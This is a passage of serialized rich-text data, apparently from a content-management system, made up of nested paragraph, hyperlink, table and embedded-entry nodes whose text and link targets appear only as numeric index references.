ype":866},{},[43519],{"data":43520,"marks":43521,"value":29498,"nodeType":865},{},[],{"data":43523,"content":43526,"nodeType":925},{"target":43524},{"sys":43525},{"id":29503,"type":922,"linkType":923},[],{"data":43528,"content":43529,"nodeType":866},{},[43530],{"data":43531,"marks":43532,"value":29511,"nodeType":865},{},[],{"data":43534,"content":43535,"nodeType":866},{},[43536],{"data":43537,"marks":43538,"value":29518,"nodeType":865},{},[],{"data":43540,"content":43541,"nodeType":953},{},[],{"data":43543,"content":43544,"nodeType":963},{},[43545],{"data":43546,"marks":43547,"value":29529,"nodeType":865},{},[43548],{"type":961},{"data":43550,"content":43553,"nodeType":925},{"target":43551},{"sys":43552},{"id":29534,"type":922,"linkType":923},[],{"data":43555,"content":43556,"nodeType":866},{},[43557,43560,43567,43570,43577,43580,43587,43590,43597,43600,43607,43610,43617],{"data":43558,"marks":43559,"value":29542,"nodeType":865},{},[],{"data":43561,"content":43562,"nodeType":882},{"uri":29545},[43563],{"data":43564,"marks":43565,"value":29551,"nodeType":865},{},[43566],{"type":997},{"data":43568,"marks":43569,"value":29555,"nodeType":865},{},[],{"data":43571,"content":43572,"nodeType":882},{"uri":29558},[43573],{"data":43574,"marks":43575,"value":29564,"nodeType":865},{},[43576],{"type":997},{"data":43578,"marks":43579,"value":29568,"nodeType":865},{},[],{"data":43581,"content":43582,"nodeType":882},{"uri":29571},[43583],{"data":43584,"marks":43585,"value":29577,"nodeType":865},{},[43586],{"type":997},{"data":43588,"marks":43589,"value":29581,"nodeType":865},{},[],{"data":43591,"content":43592,"nodeType":882},{"uri":29584},[43593],{"data":43594,"marks":43595,"value":29590,"nodeType":865},{},[43596],{"type":997},{"data":43598,"marks":43599,"value":29594,"nodeType":865},{},[],{"data":43601,"content":43602,"nodeType":882},{"uri":29597},[43603],{"data":43604,"marks":43605,"value":29603,"nodeType":865},{},[43606],{"type":997},{"data":43608,"marks":43609,"value":8756,"nodeType":865},{},[],{"data":43611,"content":43612,"nodeType":882},{"uri":29609},[43613],{"data":43614,"marks":43615,"value":29615,"nodeType":865},{},[43616],{"type":997},{"data":43618,"marks":43619,"value":29619,"nodeType":865},{},[],{"data":43621,"content":43622,"nodeType":866},{},[43623,43626,43633],{"data":43624,"marks":43625,"value":29626,"nodeType":865},{},[],{"data":43627,"content":43628,"nodeType":882},{"uri":29629},[43629],{"data":43630,"marks":43631,"value":29635,"nodeType":865},{},[43632],{"type":997},{"data":43634,"marks":43635,"value":29639,"nodeType":865},{},[],{"data":43637,"content":43640,"nodeType":925},{"target":43638},{"sys":43639},{"id":29644,"type":922,"linkType":923},[],{"data":43642,"content":43643,"nodeType":866},{},[43644],{"data":43645,"marks":43646,"value":29652,"nodeType":865},{},[],{"data":43648,"content":43649,"nodeType":1049},{},[43650,43677,43695],{"data":43651,"content":43652,"nodeType":1003},{},[43653],{"data":43654,"content":43655,"nodeType":866},{},[43656,43659,43665,43668,43674],{"data":43657,"marks":43658,"value":29665,"nodeType":865},{},[],{"data":43660,"content":43661,"nodeType":882},{"uri":29668},[43662],{"data":43663,"marks":43664,"value":29673,"nodeType":865},{},[],{"data":43666,"marks":43667,"value":8756,"nodeType":865},{},[],{"data":43669,"content":43670,"nodeType":882},{"uri":29679},[43671],{"data":43672,"marks":43673,"value":29684,"nodeType":865},{},[],{"data":43675,"marks":43676,"value":29688,"nodeType":865},{},[],{"data":43678,"content":43679,"nodeType":1003},{},[43680],{"data":43681,"content":43682,"nodeType":866},{},[43683,43686,43692],{"data":43684,"marks":43685,"value":29698,"nodeType":865},{},[],{"data":43687,"content":43688,"nodeType":882},{"uri":8759},[43689],{"data":43690,"marks":43691,"value":19437,"nodeType":865},{},[],{"data":43693,"marks":43694,"value":29708,"nodeType":865},{},[],{"data":43696,"content":43697,"nodeType":1003},{},[43698],{"data":43699,"content":43700,"nodeType":866},{},[43701,43704,43710,43713,43720,43723,43730,43733,43740],{"data":43702,"marks":43703,"value":29718,"nodeType":865},{},[],{"data":43705,"content":43706,"nodeType":882},{"uri":29721},[43707],{"data":43708,"marks":43709,"value":29726,"nodeType":865},{},[],{"data":43711,"marks":43712,"value":29730,"nodeType":865},{},[],{"data":43714,"content":43715,"nodeType":882},{"uri":29733},[43716],{"data":43717,"marks":43718,"value":29739,"nodeType":865},{},[43719],{"type":997},{"data":43721,"marks":43722,"value":3892,"nodeType":865},{},[],{"data":43724,"content":43725,"nodeType":882},{"uri":29745},[43726],{"data":43727,"marks":43728,"value":29751,"nodeType":865},{},[43729],{"type":997},{"data":43731,"marks":43732,"value":29755,"nodeType":865},{},[],{"data":43734,"content":43735,"nodeType":882},{"uri":3087},[43736],{"data":43737,"marks":43738,"value":29763,"nodeType":865},{},[43739],{"type":997},{"data":43741,"marks":43742,"value":29767,"nodeType":865},{},[],{"data":43744,"content":43747,"nodeType":925},{"target":43745},{"sys":43746},{"id":29772,"type":922,"linkType":923},[],{"data":43749,"content":43750,"nodeType":953},{},[],{"data":43752,"content":43753,"nodeType":963},{},[43754],{"data":43755,"marks":43756,"value":29784,"nodeType":865},{},[43757],{"type":961},{"data":43759,"content":43760,"nodeType":866},{},[43761],{"data":43762,"marks":43763,"value":29791,"nodeType":865},{},[],{"data":43765,"content":43768,"nodeType":925},{"target":43766},{"sys":43767},{"id":29796,"type":922,"linkType":923},[],{"data":43770,"content":43771,"nodeType":953},{},[],{"data":43773,"content":43774,"nodeType":1458},{},[43775],{"data":43776,"marks":43777,"value":29808,"nodeType":865},{},[43778],{"type":961},{"data":43780,"content":43781,"nodeType":866},{},[43782,43785,43792,43795,43802,43805,43812],{"data":43783,"marks":43784,"value":21,"nodeType":865},{},[],{"data":43786,"content":43787,"nodeType":882},{"uri":3087},[43788],{"data":43789,"marks":43790,"value":29763,"nodeType":865},{},[43791],{"type":997},{"data":43793,"marks":43794,"value":2186,"nodeType":865},{},[],{"data":43796,"content":43797,"nodeType":882},{"uri":29827},[43798],{"data":43799,"marks":43800,"value":29833,"nodeType":865},{},[43801],{"type":997},{"data":43803,"marks":43804,"value":29837,"nodeType":865},{},[],{"data":43806,"content":43807,"nodeType":882},{"uri":29745},[43808],{"data":43809,"marks":43810,"value":29845,"nodeType":865},{},[43811],{"type":997},{"data":43813,"marks":43814,"value":29849,"nodeType":865},{},[],{"data":43816,"content":43819,"nodeType":925},{"target":43817},{"sys":43818},{"id":29854,"type":922,"linkType":923},[],{"data":43821,"content":43822,"nodeType":866},{},[43823],{"data":43824,"marks":43825,"value":29862,"nodeType":865},{},[],{"data":43827,"content":43828,"nodeType":866},{},[43829],{"data":43830,"marks":43831,"value":29869,"nodeType":865},{},[],{"data":43833,"content":43834,"nodeType":866},{},[43835],{"data":43836,"marks":43837,"value":29876,"nodeType":865},{},[],{"data":43839,"content":43840,"nodeType":866},{},[43841],{"data":43842,"marks":43843,"value":29883,"nodeType":865},{},[],{"data":43845,"content":43846,"nodeType":866},{},[43847,43850,43857],{"data":43848,"marks":43849,"value":29890,"nodeType":865},{},[],{"data":43851,"content":43852,"nodeType":882},{"uri":13634},[43853],{"data":43854,"marks":43855,"value":29898,"nodeType":865},{},[43856],{"type":997},{"data":43858,"marks":43859,"value":29902,"nodeType":865},{},[],{"data":43861,"content":43864,"nodeType":925},{"target":43862},{"sys":43863},{"id":29907,"type":922,"linkType":923},[],{"data":43866,"content":43869,"nodeType":925},{"target":43867},{"sys":43868},{"id":29913,"type":922,"linkType":923},[],{"data":43871,"content":43874,"nodeType":925},{"target":43872},{"sys":43873},{"id":29919,"type":922,"linkType":923},[],{"data":43876,"content":43879,"nodeType":925},{"target":43877},{"sys":43878},{"id":29925,"type":922,"linkType":923},[],{"data":43881,"content":43884,"nodeType":925},{"target":43882},{"sys":43883},{"id":29931,"type":922,"linkType":923},[],{"data":43886,"content":43889,"nodeType":925},{"target":43887},{"sys":43888},{"id":29937,"type":922,"linkType":923},[],{"data":43891,"content":43894,"nodeType":925},{"target":43892},{"sys":43893},{"id":29943,"type":922,"linkType":923},[],{"data":43896,"content":43897,"nodeType":866},{},[43898],{"data":43899,"marks":43900,"value":21,"nodeType":865},{},[],{"data":43902,"content":43903,"nodeType":2396},{},[43904,43926,43997,44043,44065],{"data":43905,"content":43906,"nodeType":1869},{},[43907,43917],{"data":43908,"content":43909,"nodeType":1835},{},[43910],{"data":43911,"content":43912,"nodeType":866},{},[43913],{"data":43914,"marks":43915,"value":29967,"nodeType":865},{},[43916],{"type":961},{"data":43918,"content":43919,"nodeType":1835},{},[43920],{"data":43921,"content":43922,"nodeType":866},{},[43923],{"data":43924,"marks":43925,"value":29977,"nodeType":865},{},[],{"data":43927,"content":43928,"nodeType":1869},{},[43929,43939],{"data":43930,"content":43931,"nodeType":1835},{},[43932],{"data":43933,"content":43934,"nodeType":866},{},[43935],{"data":43936,"marks":43937,"value":29991,"nodeType":865},{},[43938],{"type":961},{"data":43940,"content":43941,"nodeType":1835},{},[43942,43966],{"data":43943,"content":43944,"nodeType":866},{},[43945,43949,43952,43956,43959,43963],{"data":43946,"marks":43947,"value":30002,"nodeType":865},{},[43948],{"type":961},{"data":43950,"marks":43951,"value":30006,"nodeType":865},{},[],{"data":43953,"marks":43954,"value":30011,"nodeType":865},{},[43955],{"type":961},{"data":43957,"marks":43958,"value":30015,"nodeType":865},{},[],{"data":43960,"marks":43961,"value":30020,"nodeType":865},{},[43962],{"type":961},{"data":43964,"marks":43965,"value":30024,"nodeType":865},{},[],{"data":43967,"content":43968,"nodeType":866},{},[43969,43973,43976,43980,43983,43987,43990,43994],{"data":43970,"marks":43971,"value":30032,"nodeType":865},{},[43972],{"type":961},{"data":43974,"marks":43975,"value":2157,"nodeType":865},{},[],{"data":43977,"marks":43978,"value":30040,"nodeType":865},{},[43979],{"type":961},{"data":43981,"marks":43982,"value":30044,"nodeType":865},{},[],{"data":43984,"marks":43985,"value":30011,"nodeType":865},{},[43986],{"type":961},{"data":43988,"marks":43989,"value":30052,"nodeType":865},{},[],{"data":43991,"marks":43992,"value":30020,"nodeType":865},{},[43993],{"type":961},{"data":43995,"marks":43996,"value":30060,"nodeType":865},{},[],{"data":43998,"content":43999,"nodeType":1869},{},[44000,44010],{"data":44001,"content":44002,"nodeType":1835},{},[44003],{"data":44004,"content":44005,"nodeType":866},{},[44006],{"data":44007,"marks":44008,"value":30074,"nodeType":865},{},[44009],{"type":961},{"data":44011,"content":44012,"nodeType":1835},{},[44013,44019,44025,44031,44037],{"data":44014,"content":44015,"nodeType":866},{},[44016],{"data":44017,"marks":44018,"value":30084,"nodeType":865},{},[],{"data":44020,"content":44021,"nodeType":866},{},[44022],{"data":44023,"marks":44024,"value":30091,"nodeType":865},{},[],{"data":44026,"content":44027,"nodeType":866},{},[44028],{"data":44029,"marks":44030,"value":30098,"nodeType":865},{},[],{"data":44032,"content":44033,"nodeType":866},{},[44034],{"data":44035,"marks":44036,"value":30105,"nodeType":865},{},[],{"data":44038,"content":44039,"nodeType":866},{},[44040],{"data":44041,"marks":44042,"value":30112,"nodeType":865},{},[],{"data":44044,"content":44045,"nodeType":1869},{},[44046,44056],{"data":44047,"content":44048,"nodeType":1835},{},[44049],{"data":44050,"content":44051,"nodeType":866},{},[44052],{"data":44053,"marks":44054,"value":30126,"nodeType":865},{},[44055],{"type":961},{"data":44057,"content":44058,"nodeType":1835},{},[44059],{"data":44060,"content":44061,"nodeType":866},{},[44062],{"data":44063,"marks":44064,"value":30136,"nodeType":865},{},[],{"data":44066,"content":44067,"nodeType":1869},{},[44068,44078],{"data":44069,"content":44070,"nodeType":1835},{},[44071],{"data":44072,"content":44073,"nodeType":866},{},[44074],{"data":44075,"marks":44076,"value":30150,"nodeType":865},{},[44077],{"type":961},{"data":44079,"content":44080,"nodeType":1835},{},[44081,44091,44101,44111,44121],{"data":44082,"content":44083,"nodeType":866},{},[44084,44088],{"data":44085,"marks":44086,"value":30161,"nodeType":865},{},[44087],{"type":961},{"data":44089,"marks":44090,"value":30165,"nodeType":865},{},[],{"data":44092,"content":44093,"nodeType":866},{},[44094,44098],{"data":44095,"marks":44096,"value":30173,"nodeType":865},{},[44097],{"type":961},{"data":44099,"marks":44100,"value":30177,"nodeType":865},{},[],{"data":44102,"content":44103,"nodeType":866},{},[44104,44108],{"data":44105,"marks":44106,"value":30185,"nodeType":865},{},[44107],{"type":961},{"data":44109,"marks":44110,"value":30189,"nodeType":865},{},[],{"data":44112,"content":44113,"nodeType":866},{},[44114,44118],{"data":44115,"marks":44116,"value":30197,"nodeType":865},{},[44117],{"type":961},{"data":44119,"marks":44120,"value":30201,"nodeType":865},{},[],{"data":44122,"content":44123,"nodeType":866},{},[44124,44128],{"data":44125,"marks":44126,"value":30209,"nodeType":865},{},[44127],{"type":961},{"data":44129,"marks":44130,"value":30213,"nodeType":865},{},[],{"data":44132,"content":44133,"nodeType":953},{},[],{"data":44135,"content":44136,"nodeType":1458},{},[44137],{"data":44138,"marks":44139,"value":30224,"nodeType":865},{},[44140],{"type":961},{"data":44142,"content":44143,"nodeType":2396},{},[44144,44166,44202,44224,44246],{"data":44145,"content":44146,"nodeType":1869},{},[44147,44157],{"data":44148,"content":44149,"nodeType":1835},{},[44150],{"data":44151,"content":44152,"nodeType":866},{},[44153],{"data":44154,"marks":44155,"value":29967,"nodeType":865},{},[44156],{"type":961},{"data":44158,"content":44159,"nodeType":1835},{},[44160],{"data":44161,"content":44162,"nodeType":866},{},[44163],{"data":44164,"marks":44165,"value":30250,"nodeType":865},{},[],{"data":44167,"content":44168,"nodeType":1869},{},[44169,44179],{"data":44170,"content":44171,"nodeType":1835},{},[44172],{"data":44173,"content":44174,"nodeType":866},{},[44175],{"data":44176,"marks":44177,"value":29991,"nodeType":865},{},[44178],{"type":961},{"data":44180,"content":44181,"nodeType":1835},{},[44182,44192],{"data":44183,"content":44184,"nodeType":866},{},[44185,44189],{"data":44186,"marks":44187,"value":30274,"nodeType":865},{},[44188],{"type":961},{"data":44190,"marks":44191,"value":30278,"nodeType":865},{},[],{"data":44193,"content":44194,"nodeType":866},{},[44195,44199],{"data":44196,"marks":44197,"value":30032,"nodeType":865},{},[44198],{"type":961},{"data":44200,"marks":44201,"value":30289,"nodeType":865},{},[],{"data":44203,"content":44204,"nodeType":1869},{},[44205,44215],{"data":44206,"content":44207,"nodeType":1835},{},[44208],{"data":44209,"content":44210,"nodeType":866},{},[44211],{"data":44212,"marks":44213,"value":30074,"nodeType":865},{},[44214],{"type":961},{"data":44216,"content":44217,"nodeType":1835},{},[44218],{"data":44219,"content":44220,"nodeType":866},{},[44221],{"data":44222,"marks":44223,"value":30312,"nodeType":865},{},[],{"data":44225,"content":44226,"nodeType":1869},{},[44227,44237],{"data":44228,"content":44229,"nodeType":1835},{},[44230],{"data":44231,"content":44232,"nodeType":866},{},[44233],{"data":44234,"marks":44235,"value":30126,"nodeType":865},{},[44236],{"type":961},{"data":44238,"content":44239,"nodeType":1835},{},[44240],{"data":44241,"content":44242,"nodeType":866},{},[44243],{"data":44244,"marks":44245,"value":30335,"nodeType":865},{},[],{"data":44247,"content":44248,"nodeType":1869},{},[44249,44259],{"data":44250,"content":44251,"nodeType":1835},{},[44252],{"data":44253,"content":44254,"nodeType":866},{},[44255],{"data":44256,"marks":44257,"value":30349,"nodeType":865},{},[44258],{"type":961},{"data":44260,"content":44261,"nodeType":1835},{},[44262],{"data":44263,"content":44264,"nodeType":866},{},[44265],{"data":44266,"marks":44267,"value":30359,"nodeType":865},{},[],{"data":44269,"content":44272,"nodeType":925},{"target":44270},{"sys":44271},{"id":30364,"type":922,"linkType":923},[],{"data":44274,"content":44275,"nodeType":953},{},[],{"data":44277,"content":44278,"nodeType":1458},{},[44279],{"data":44280,"marks":44281,"value":30376,"nodeType":865},{},[44282],{"type":961},{"data":44284,"content":44285,"nodeType":866},{},[44286,44289,44293,44296,44302,44305,44311],{"data":44287,"marks":44288,"value":30383,"nodeType":865},{},[],{"data":44290,"marks":44291,"value":30388,"nodeType":865},{},[44292],{"type":961},{"data":44294,"marks":44295,"value":30392,"nodeType":865},{},[],{"data":44297,"content":44298,"nodeType":882},{"uri":30395},[44299],{"data":44300,"marks":44301,"value":30400,"nodeType":865},{},[],{"data":44303,"marks":44304,"value":30404,"nodeType":865},{},[],{"data":44306,"content":44307,"nodeType":882},{"uri":30407},[44308],{"data":44309,"marks":44310,"value":30412,"nodeType":865},{},[],{"data":44312,"marks":44313,"value":30416,"nodeType":865},{},[],{"data":44315,"content":44316,"nodeType":2396},{},[44317,44339,44375,44397,44419],{"data":44318,"content":44319,"nodeType":1869},{},[44320,44330],{"data":44321,"content":44322,"nodeType":1835},{},[44323],{"data":44324,"content":44325,"nodeType":866},{},[44326],{"data":44327,"marks":44328,"value":29967,"nodeType":865},{},[44329],{"type":961},{"data":44331,"content":44332,"nodeType":1835},{},[44333],{"data":44334,"content":44335,"nodeType":866},{},[44336],{"data":44337,"marks":44338,"value":30442,"nodeType":865},{},[],{"data":44340,"content":44341,"nodeType":1869},{},[44342,44352],{"data":44343,"content":44344,"nodeType":1835},{},[44345],{"data":44346,"content":44347,"nodeType":866},{},[44348],{"data":44349,"marks":44350,"value":29991,"nodeType":865},{},[44351],{"type":961},{"data":44353,"content":44354,"nodeType":1835},{},[44355,44365],{"data":44356,"content":44357,"nodeType":866},{},[44358,44362],{"data":44359,"marks":44360,"value":30466,"nodeType":865},{},[44361],{"type":961},{"data":44363,"marks":44364,"value":30470,"nodeType":865},{},[],{"data":44366,"content":44367,"nodeType":866},{},[44368,44372],{"data":44369,"marks":44370,"value":30032,"nodeType":865},{},[44371],{"type":961},{"data":44373,"marks":44374,"value":30481,"nodeType":865},{},[],{"data":44376,"content":44377,"nodeType":1869},{},[44378,44388],{"data":44379,"content":44380,"nodeType":1835},{},[44381],{"data":44382,"content":44383,"nodeType":866},{},[44384],{"data":44385,"marks":44386,"value":30074,"nodeType":865},{},[44387],{"type":961},{"data":44389,"content":44390,"nodeType":1835},{},[44391],{"data":44392,"content":44393,"nodeType":866},{},[44394],{"data":44395,"marks":44396,"value":30504,"nodeType":865},{},[],{"data":44398,"content":44399,"nodeType":1869},{},[44400,44410],{"data":44401,"content":44402,"nodeType":1835},{},[44403],{"data":44404,"content":44405,"nodeType":866},{},[44406],{"data":44407,"marks":44408,"value":30126,"nodeType":865},{},[44409],{"type":961},{"data":44411,"content":44412,"nodeType":1835},{},[44413],{"data":44414,"content":44415,"nodeType":866},{},[44416],{"data":44417,"marks":44418,"value":30527,"nodeType":865},{},[],{"data":44420,"content":44421,"nodeType":1869},{},[44422,44432],{"data":44423,"content":44424,"nodeType":1835},{},[44425],{"data":44426,"content":44427,"nodeType":866},{},[44428],{"data":44429,"marks":44430,"value":30349,"nodeType":865},{},[44431],{"type":961},{"data":44433,"content":44434,"nodeType":1835},{},[44435],{"data":44436,"content":44437,"nodeType":866},{},[44438],{"data":44439,"marks":44440,"value":30550,"nodeType":865},{},[],{"data":44442,"content":44445,"nodeType":925},{"target":44443},{"sys":44444},{"id":30555,"type":922,"linkType":923},[],{"data":44447,"content":44448,"nodeType":953},{},[],{"data":44450,"content":44451,"nodeType":1458},{},[44452],{"data":44453,"marks":44454,"value":30567,"nodeType":865},{},[44455],{"type":961},{"data":44457,"content":44458,"nodeType":2396},{},[44459,44481,44523,44551,44573],{"data":44460,"content":44461,"nodeType":1869},{},[44462,44472],{"data":44463,"content":44464,"nodeType":1835},{},[44465],{"data":44466,"content":44467,"nodeType":866},{},[44468],{"data":44469,"marks":44470,"value":29967,"nodeType":865},{},[44471],{"type":961},{"data":44473,"content":44474,"nodeType":1835},{},[44475],{"data":44476,"content":44477,"nodeType":866},{},[44478],{"data":44479,"marks":44480,"value":30593,"nodeType":865},{},[],{"data":44482,"content":44483,"nodeType":1869},{},[44484,44494],{"data":44485,"content":44486,"nodeType":1835},{},[44487],{"data":44488,"content":44489,"nodeType":866},{},[44490],{"data":44491,"marks":44492,"value":29991,"nodeType":865},{},[44493],{"type":961},{"data":44495,"content":44496,"nodeType":1835},{},[44497,44507,44513],{"data":44498,"content":44499,"nodeType":866},{},[44500,44504],{"data":44501,"marks":44502,"value":30466,"nodeType":865},{},[44503],{"type":961},{"data":44505,"marks":44506,"value":30620,"nodeType":865},{},[],{"data":44508,"content":44509,"nodeType":866},{},[44510],{"data":44511,"marks":44512,"value":30627,"nodeType":865},{},[],{"data":44514,"content":44515,"nodeType":866},{},[44516,44520],{"data":44517,"marks":44518,"value":30032,"nodeType":865},{},[44519],{"type":961},{"data":44521,"marks":44522,"value":30638,"nodeType":865},{},[],{"data":44524,"content":44525,"nodeType":1869},{},[44526,44536],{"data":44527,"content":44528,"nodeType":1835},{},[44529],{"data":44530,"content":44531,"nodeType":866},{},[44532],{"data":44533,"marks":44534,"value":30074,"nodeType":865},{},[44535],{"type":961},{"data":44537,"content":44538,"nodeType":1835},{},[44539,44545],{"data":44540,"content":44541,"nodeType":866},{},[44542],{"data":44543,"marks":44544,"value":30661,"nodeType":865},{},[],{"data":44546,"content":44547,"nodeType":866},{},[44548],{"data":44549,"marks":44550,"value":30668,"nodeType":865},{},[],{"data":44552,"content":44553,"nodeType":1869},{},[44554,44564],{"data":44555,"content":44556,"nodeType":1835},{},[44557],{"data":44558,"content":44559,"nodeType":866},{},[44560],{"data":44561,"marks":44562,"value":30126,"nodeType":865},{},[44563],{"type":961},{"data":44565,"content":44566,"nodeType":1835},{},[44567],{"data":44568,"content":44569,"nodeType":866},{},[44570],{"data":44571,"marks":44572,"value":30691,"nodeType":865},{},[],{"data":44574,"content":44575,"nodeType":1869},{},[44576,44586],{"data":44577,"content":44578,"nodeType":1835},{},[44579],{"data":44580,"content":44581,"nodeType":866},{},[44582],{"data":44583,"marks":44584,"value":30349,"nodeType":865},{},[44585],{"type":961},{"data":44587,"content":44588,"nodeType":1835},{},[44589],{"data":44590,"content":44591,"nodeType":866},{},[44592],{"data":44593,"marks":44594,"value":30714,"nodeType":865},{},[],{"data":44596,"content":44599,"nodeType":925},{"target":44597},{"sys":44598},{"id":30719,"type":922,"linkType":923},[],{"data":44601,"content":44602,"nodeType":953},{},[],{"data":44604,"content":44605,"nodeType":1458},{},[44606],{"data":44607,"marks":44608,"value":30731,"nodeType":865},{},[44609],{"type":961},{"data":44611,"content":44614,"nodeType":925},{"target":44612},{"sys":44613},{"id":30736,"type":922,"linkType":923},[],{"data":44616,"content":44617,"nodeType":2396},{},[44618,44640,44683,44705,44727],{"data":44619,"content":44620,"nodeType":1869},{},[44621,44631],{"data":44622,"content":44623,"nodeType":1835},{},[44624],{"data":44625,"content":44626,"nodeType":866},{},[44627],{"data":44628,"marks":44629,"value":29967,"nodeType":865},{},[44630],{"type":961},{"data":44632,"content":44633,"nodeType":1835},{},[44634],{"data":44635,"content":44636,"nodeType":866},{},[44637],{"data":44638,"marks":44639,"value":30763,"nodeType":865},{},[],{"data":44641,"content":44642,"nodeType":1869},{},[44643,44653],{"data":44644,"content":44645,"nodeType":1835},{},[44646],{"data":44647,"content":44648,"nodeType":866},{},[44649],{"data":44650,"marks":44651,"value":29991,"nodeType":865},{},[44652],{"type":961},{"data":44654,"content":44655,"nodeType":1835},{},[44656,44666],{"data":44657,"content":44658,"nodeType":866},{},[44659,44663],{"data":44660,"marks":44661,"value":30466,"nodeType":865},{},[44662],{"type":961},{"data":44664,"marks":44665,"value":30790,"nodeType":865},{},[],{"data":44667,"content":44668,"nodeType":866},{},[44669,44673,44676,44680],{"data":44670,"marks":44671,"value":30032,"nodeType":865},{},[44672],{"type":961},{"data":44674,"marks":44675,"value":2157,"nodeType":865},{},[],{"data":44677,"marks":44678,"value":3230,"nodeType":865},{},[44679],{"type":961},{"data":44681,"marks":44682,"value":30808,"nodeType":865},{},[],{"data":44684,"content":44685,"nodeType":1869},{},[44686,44696],{"data":44687,"content":44688,"nodeType":1835},{},[44689],{"data":44690,"content":44691,"nodeType":866},{},[44692],{"data":44693,"marks":44694,"value":30074,"nodeType":865},{},[44695],{"type":961},{"data":44697,"content":44698,"nodeType":1835},{},[44699],{"data":44700,"content":44701,"nodeType":866},{},[44702],{"data":44703,"marks":44704,"value":30831,"nodeType":865},{},[],{"data":44706,"content":44707,"nodeType":1869},{},[44708,44718],{"data":44709,"content":44710,"nodeType":1835},{},[44711],{"data":44712,"content":44713,"nodeType":866},{},[44714],{"data":44715,"marks":44716,"value":30126,"nodeType":865},{},[44717],{"type":961},{"data":44719,"content":44720,"nodeType":1835},{},[44721],{"data":44722,"content":44723,"nodeType":866},{},[44724],{"data":44725,"marks":44726,"value":30854,"nodeType":865},{},[],{"data":44728,"content":44729,"nodeType":1869},{},[44730,44740],{"data":44731,"content":44732,"nodeType":1835},{},[44733],{"data":44734,"content":44735,"nodeType":866},{},[44736],{"data":44737,"marks":44738,"value":30349,"nodeType":865},{},[44739],{"type":961},{"data":44741,"content":44742,"nodeType":1835},{},[44743],{"data":44744,"content":44745,"nodeType":866},{},[44746],{"data":44747,"marks":44748,"value":30877,"nodeType":865},{},[],{"data":44750,"content":44753,"nodeType":925},{"target":44751},{"sys":44752},{"id":30882,"type":922,"linkType":923},[],{"data":44755,"content":44758,"nodeType":925},{"target":44756},{"sys":44757},{"id":30888,"type":922,"linkType":923},[],{"data":44760,"content":44761,"nodeType":953},{},[],{"data":44763,"content":44764,"nodeType":1458},{},[44765],{"data":44766,"marks":44767,"value":30900,"nodeType":865},{},[44768],{"type":961},{"data":44770,"content":44771,"nodeType":2396},{},[44772,44794,44830,44864,44886],{"data":44773,"content":44774,"nodeType":1869},{},[44775,44785],{"data":44776,"content":44777,"nodeType":1835},{},[44778],{"data":44779,"content":44780,"nodeType":866},{},[44781],{"data":44782,"marks":44783,"value":29967,"nodeType":865},{},[44784],{"type":961},{"data":44786,"content":44787,"nodeType":1835},{},[44788],{"data":44789,"content":44790,"nodeType":866},{},[44791],{"data":44792,"marks":44793,"value":30926,"nodeType":865},{},[],{"data":44795,"content":44796,"nodeType":1869},{},[44797,44807],{"data":44798,"content":44799,"nodeType":1835},{},[44800],{"data":44801,"content":44802,"nodeType":866},{},[44803],{"data":44804,"marks":44805,"value":29991,"nodeType":865},{},[44806],{"type":961},{"data":44808,"content":44809,"nodeType":1835},{},[44810,44820],{"data":44811,"content":44812,"nodeType":866},{},[44813,44817],{"data":44814,"marks":44815,"value":30466,"nodeType":865},{},[44816],{"type":961},{"data":44818,"marks":44819,"value":30953,"nodeType":865},{},[],{"data":44821,"content":44822,"nodeType":866},{},[44823,44827],{"data":44824,"marks":44825,"value":30032,"nodeType":865},{},[44826],{"type":961},{"data":44828,"marks":44829,"value":30964,"nodeType":865},{},[],{"data":44831,"content":44832,"nodeType":1869},{},[44833,44843],{"data":44834,"content":44835,"nodeType":1835},{},[44836],{"data":44837,"content":44838,"nodeType":866},{},[44839],{"data":44840,"marks":44841,"value":30074,"nodeType":865},{},[44842],{"type":961},{"data":44844,"content":44845,"nodeType":1835},{},[44846,44852,44858],{"data":44847,"content":44848,"nodeType":866},{},[44849],{"data":44850,"marks":44851,"value":30987,"nodeType":865},{},[],{"data":44853,"content":44854,"nodeType":866},{},[44855],{"data":44856,"marks":44857,"value":30994,"nodeType":865},{},[],{"data":44859,"content":44860,"nodeType":866},{},[44861],{"data":44862,"marks":44863,"value":31001,"nodeType":865},{},[],{"data":44865,"content":44866,"nodeType":1869},{},[44867,44877],{"data":44868,"content":44869,"nodeType":1835},{},[44870],{"data":44871,"content":44872,"nodeType":866},{},[44873],{"data":44874,"marks":44875,"value":30126,"nodeType":865},{},[44876],{"type":961},{"data":44878,"content":44879,"nodeType":1835},{},[44880],{"data":44881,"content":44882,"nodeType":866},{},[44883],{"data":44884,"marks":44885,"value":31024,"nodeType":865},{},[],{"data":44887,"content":44888,"nodeType":1869},{},[44889,44899],{"data":44890,"content":44891,"nodeType":1835},{},[44892],{"data":44893,"content":44894,"nodeType":866},{},[44895],{"data":44896,"marks":44897,"value":30349,"nodeType":865},{},[44898],{"type":961},{"data":44900,"content":44901,"nodeType":1835},{},[44902],{"data":44903,"content":44904,"nodeType":866},{},[44905],{"data":44906,"marks":44907,"value":31047,"nodeType":865},{},[],{"data":44909,"content":44912,"nodeType":925},{"target":44910},{"sys":44911},{"id":31052,"type":922,"linkType":923},[],{"data":44914,"content":44915,"nodeType":953},{},[],{"data":44917,"content":44918,"nodeType":1458},{},[44919],{"data":44920,"marks":44921,"value":31064,"nodeType":865},{},[44922],{"type":961},{"data":44924,"content":44925,"nodeType":2396},{},[44926,44948,44991,45019,45041],{"data":44927,"content":44928,"nodeType":1869},{},[44929,44939],{"data":44930,"content":44931,"nodeType":1835},{},[44932],{"data":44933,"content":44934,"nodeType":866},{},[44935],{"data":44936,"marks":44937,"value":29967,"nodeType":865},{},[44938],{"type":961},{"data":44940,"content":44941,"nodeType":1835},{},[44942],{"data":44943,"content":44944,"nodeType":866},{},[44945],{"data":44946,"marks":44947,"value":30763,"nodeType":865},{},[],{"data":44949,"content":44950,"nodeType":1869},{},[44951,44961],{"data":44952,"content":44953,"nodeType":1835},{},[44954],{"data":44955,"content":44956,"nodeType":866},{},[44957],{"data":44958,"marks":44959,"value":29991,"nodeType":865},{},[44960],{"type":961},{"data":44962,"content":44963,"nodeType":1835},{},[44964,44974],{"data":44965,"content":44966,"nodeType":866},{},[44967,44971],{"data":44968,"marks":44969,"value":30466,"nodeType":865},{},[44970],{"type":961},{"data":44972,"marks":44973,"value":31116,"nodeType":865},{},[],{"data":44975,"content":44976,"nodeType":866},{},[44977,44981,44984,44988],{"data":44978,"marks":44979,"value":30032,"nodeType":865},{},[44980],{"type":961},{"data":44982,"marks":44983,"value":2157,"nodeType":865},{},[],{"data":44985,"marks":44986,"value":3230,"nodeType":865},{},[44987],{"type":961},{"data":44989,"